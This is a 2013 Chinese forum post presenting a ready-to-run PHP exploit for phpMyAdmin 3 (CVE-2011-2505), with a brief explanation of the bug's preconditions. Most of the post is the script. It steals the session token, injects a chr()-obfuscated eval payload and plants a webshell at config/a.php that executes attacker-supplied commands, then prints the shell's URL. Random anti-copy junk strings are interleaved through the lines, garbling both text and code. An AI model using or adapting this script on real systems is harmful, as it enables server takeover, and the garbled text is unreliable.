找回密码
 立即注册
查看: 2617|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。8 y8 s+ @. E3 j# U

( v; I, d& I- i' f; G, a昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
4 D. W" t0 j/ _/ |' F- {* Q; o7 l
! y' I8 O, z7 q8 I首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
, X8 x) P$ d3 S, `: S- c, v7 D一是session.auto_start = 1;$ W& _. }* P0 M3 t' V/ v! V+ T# o
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
5 N. o; g/ ?9 _6 {当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
( j, l: i" S+ `& Z9 K
/ R/ q& {1 q; e7 }3 d在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
: {. T2 k% y2 Y9 e. _: q1 t3 @$ q) j( V  l& m
于是写了这个php版本的exp,代码如下:5 e1 t4 s  t5 l/ }# t. A
4 j) R1 n  {7 J+ x9 q( n
#!/usr/bin/php
. T, I8 d& K  a; l* k! g0 ~7 l<?php
( X0 F9 B: ?# i( ^print_r('1 O: b. @, B" G  B. I5 ?* e
+---------------------------------------------------------------------------+" b: x$ L  |  T( G. [
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]& L5 ]4 t' S% i- S' X+ c" Z2 a
by oldjun(www.oldjun.com)
+ h! K7 w9 n  w( M- H. w: b! t9 fwelcome to www.t00ls.net
% K5 O1 H, M, N: P$ u$ Bmail: oldjun@gmail.com' ?" h5 U, d7 H# I8 l: `( B
Assigned CVE id: CVE-2011-2505( Y6 D: s; B- d5 @5 x% g" H1 F
+---------------------------------------------------------------------------+( O1 G7 n- n( z" @# J0 n7 v$ Q
');
1 ?/ l) V$ N; S4 Y2 r5 ~1 M) M) @  r9 _- w, R3 J# g  M
/**7 W6 i, L: u. V( U
* working when the directory:"config" exists and is writeable.
' o/ d4 s' D8 W( c2 U**/0 `& G: l: L/ k3 L
4 s7 N( W$ s0 Y: B0 l" X& c
if ($argc < 3) {
4 E, u! N0 \% Y# V    print_r(') t- t5 t0 G6 [- S
+---------------------------------------------------------------------------+
! V3 H2 U' ]& g* w2 ~# J* W2 _Usage: php '.$argv[0].' host path
# J( k9 J8 i; W0 Fhost:      target server (ip/hostname)
. l- M. f7 V( v  epath:      path to pma3
, R& G4 ]9 ]. j' Y3 n' J) k; O. UExample:( {! F2 x1 u+ [* n! O
php '.$argv[0].' localhost /pma/% p% g2 {# Q, W) g
+---------------------------------------------------------------------------+# l# ^8 r2 S" ?, B' [) n
');+ a* O% I& Z( k+ T7 W: g
    exit;% r# ?  y) @5 h0 E
}
4 ?6 p0 b4 Q" u1 h
. q& m2 @4 z+ B8 P8 \& V0 @' b" A% G$host = $argv[1];
: q9 t: c  W$ u3 [0 N4 s$path = $argv[2];
# a& F/ T. W' f
2 j& s5 m, q: G0 h  s6 {& m1 \/**
; j# k' _+ ^/ c  U# j3 q! S * Try to determine if the directory:"config" exists
! |) d$ B/ G5 J1 j1 C6 }" _**/
2 d% U% H7 M6 n" W/ L6 [( kecho "[+] Try to determine if the directory:config exists....\n";+ }7 J/ I, |: }. {1 @, H
$returnstr=php_request('config/');
0 ?1 O* Y2 D7 m2 Sif(strpos($returnstr,'404')){- y" ?  G& b$ a0 w5 \3 |; J
    exit("[-] Exploit Failed! The directory:config do not exists!\n");# |7 b4 U6 u: e
}% }5 `" j4 }) ^
* v7 D3 N2 W' z! G
/**  F2 v. u* @- C1 B
* Try to get token and sessionid' q7 H9 ]. V5 K) R! a  y. K
**/) U6 [: P, P' l( Q
echo "[+] Try to get token and sessionid....\n";. W2 y1 B6 t  s* N2 h5 N1 L, G3 L( O
$result=php_request('index.php');7 }0 |2 f$ O: b$ ^9 h
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
7 R. v, n2 `. O$token=$resp[3];5 I7 W7 I8 ]  B2 F
$sessionid=$resp[1];. c9 y2 |4 P- U. Y; G
if($token && $sessionid){& L6 a2 [$ N% C8 G# o$ f
    echo "[+] tokentoken\n";
* a  l0 k$ _0 n    echo "[+] Session IDsessionid\n";" }/ `; Z. g1 s" I! X; S
}else{8 R4 D3 |- I1 x+ c2 ^& X
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
$ D. I7 K' j1 r3 E$ c1 A}: J: M6 C% H' H/ S8 J8 W7 ~5 A4 p+ X/ C

: t, O2 j3 t+ x' v0 @" `/**! m3 j% z+ r1 A! {
* Try to insert shell into session
+ B; d6 E7 z3 C7 a**/
. V0 g. @4 o" B! Z: pecho "[+] Try to insert shell into session....\n";
6 @$ s8 P6 Q" Q- T- m' ~php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.3 @* [. t3 g; E. Q3 G

: _/ n$ Y9 Z: A! @5 y% ?( g9 m" n/**/ |2 F  ~* d; U$ s
* Try to create webshell$ f" `0 N% k: _. \  B
**/: Z, U) O4 I' H5 R2 g$ ], M, f3 i
echo "[+] Try to create webshell....\n";8 y9 I0 U- K6 b1 D- _  I" ?' u8 S. M
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
3 f( p  H' l6 y2 @) b1 w: ]2 T/**
5 J: I2 W6 S: z$ J, A * Try to check if the webshell was created successfully
* K$ y$ V3 ]- P3 ~' i% |**/
* V* r/ q6 O% t' zecho "[+] Try to check if the webshell was created successfully....\n";4 ?* f6 h6 `6 z3 t: w" A7 m% G" M
$content=php_request('config/config.inc.php');1 J0 b; G$ ^1 a
if(strpos($content,'t00ls')){
" S4 G: L5 F5 G( `1 c. r' B; W" f    echo "[+] Congratulations! Expoilt successfully....\n";3 W! ^: d- y" ~% b3 D
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";& @8 k( X/ m$ A6 {9 C* U
}else{) \2 \% M2 O( r
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
/ r5 Y) e( x: J! X. l9 p9 A}1 a5 X8 j7 B8 K5 Q) _% \
' \2 b" P+ O; F; z
function php_request($url,$data='',$cookie=''){7 k: [/ G$ c7 }$ X3 [3 r
    global  $host, $path;# j6 c3 c+ M: J4 i& E% j
    3 a, u9 ?% O  F
    $method=$data?'POST':'GET';/ n) p5 I; L0 a4 r1 V
   
: \- J7 K, b+ Z. W2 K" K: j: C    $packet = $method." ".$path.$url." HTTP/1.1\r\n";3 l/ p) N3 @; C
    $packet .= "Accept: */*\r\n";
$ Y( j* \# p, ~9 j8 W    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";+ A' S! c5 i% V- F1 S
    $packet .= "Host: $host\r\n";
& y' @9 ~7 T, m6 S, O% e* ^    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";* J9 ?/ @9 y8 C: ]- r
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";% z/ o/ x& C  N/ ^. o
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
1 [* q- l4 V5 ]" T7 C+ ]    $packet .= "Connection: Close\r\n\r\n";
! T2 k# p- i' v- b    $packet .= $data?$data:"";7 m0 J: v6 ?3 ]% t, w2 B
  y8 x* w+ u4 k# R0 V  N5 v
    $fp = fsockopen(gethostbyname($host), 80);
( h& P: z$ O0 z, B. u    if (!$fp) {
4 \. ]" g9 z! g) B% ^* G    echo 'No response from '.$host; die;$ y( l* B& _3 C! V8 q* G
    }
* Z$ Q2 B0 s9 T. |$ c* k  t+ L    fputs($fp, $packet);
/ B( h$ ^6 z+ E, B4 Y- S# M, M% w2 f; _$ @2 T5 g
    $resp = '';
4 c4 F9 p; i$ l3 \$ c2 j+ U* F9 E4 a. X2 N8 \) ^3 X
    while ($fp && !feof($fp)): N: h0 |2 r2 S& T/ ]% u. @2 G
        $resp .= fread($fp, 1024);& d4 {  J$ y; l  Y# O0 p; _+ i
7 c: F- [5 c  C$ r0 j* ^' S
    return $resp;
9 d; r% ~$ j' ]! ]! ]2 i}5 q& d( z" x4 N
      f+ f) a" q- [" O" L( b7 K, g
?> 4 [/ r+ t7 }8 \2 ~2 }4 A) ~+ N
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表